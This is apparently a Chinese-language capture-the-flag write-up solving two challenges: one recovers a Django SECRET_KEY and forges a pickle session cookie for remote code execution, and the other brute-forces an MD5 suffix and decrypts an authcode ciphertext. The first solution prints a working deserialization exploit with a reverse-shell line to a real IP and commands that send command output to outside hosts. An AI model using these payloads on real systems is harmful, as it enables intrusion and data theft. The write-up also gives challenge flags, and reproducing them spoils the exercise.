Gift

c62s的生日礼物

脑洞题目,根据题目提示c62s的生日礼物去github上搜c62s用户。

django-master

可以看到zip包是加密的。

使用zip爆破,密码20001111。得到SECRET_KEY.KEY文件,文件内容。

oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci

看到Key文件可以联想到Django的反序列化漏洞,测试。

参考 http://blog.nsfocus.net/django-code-execution-vulnerability/ 此文章构造POC,执行脚本前需使用pip安装Django1.6版本以下。修改相关参数生成session。

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies

settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci')


class Run(object):
    def __reduce__(self):
        # return (os.system,('touch /tmp/xxlegend.log',))
        # return (os.system,('bash -i >& /dev/tcp/74.121.150.85/9999 0>&1',))
        # return (os.system,('echo 111 > D:/1.txt',))
        import subprocess
        # return (subprocess.call,
        #         (['python','-c',
        #         'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
        #         'cmd="ping -c 1" + s + ".xxxx.dnslog.link";'
        #         'os.popen(cmd)'
        #         ],))
        return (subprocess.call,
                (['python','-c',
                'import os,socket;print "xxx";c=os.popen("whoami").read().strip();s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.sendto(c, ("xx.xx.xx.xx", 9999));'
                ],))
        # return (subprocess.call,
        #         (['python','-c',
        #         'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
        #         'cmd="ping -c 1 -p " + s + "xx.xx.xx.xx";'
        #         'os.popen(cmd)'
        #         ],))        

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess

使用命令whoami获取到的内容。

使用命令ls -al获取到的内容。

使用命令cat flag.txt获取flag内容。

flag{8ae9c523-33f3-4946-855c-1e015412c005}

fuzzing

访问页面发现hint

修改X-Forwarded-for获得下一步的条件

访问新的页面m4ange.php,根据提示加入参数key,得到返回包,需要接一个md5值,明文的最后三位没有给,写个脚本爆破一下。

import string
import hashlib

def md5(s):
    md5=hashlib.md5()
    md5.update(s)
    return md5.hexdigest()

payloads = string.lowercase + string.digits
for i in payloads:
    for j in payloads:
        for k in payloads:
            s = '{}{}{}'.format(i,j,k)
            s = 'ichunqiu' + s
            if md5(s) == '1b4167610ba3f2ac426a68488dbd89be':
                print s
                exit()

得到keyichunqiu105

使用此可访问获得下一步提示,给出了一个新的php页面

访问 xx00xxoo.php,发现一串密文

提示加密函数源码在 x0.txt

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }

}

可以看到authcode方法本身即可加密也可解密,关键就在于找到相应的key值,这里使用前面找到的keyichunqiu105尝试进行解密,发现解密成功。使用下列方法解密,获得flag。

echo authcode("e6a5cmS1JU+s+ghzrRcjwnDDqOXyfHp80dm7E3VP6N7Qny+krV2H2ctgUIjItaLSDUhNG/i5bHOlmzOxbD8Vj/QKdGgDhOk",$operation='DECODE',$key="ichunqiu105");

flag{3648ea23-b240-4488-b900-6cf1f236dc80}

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注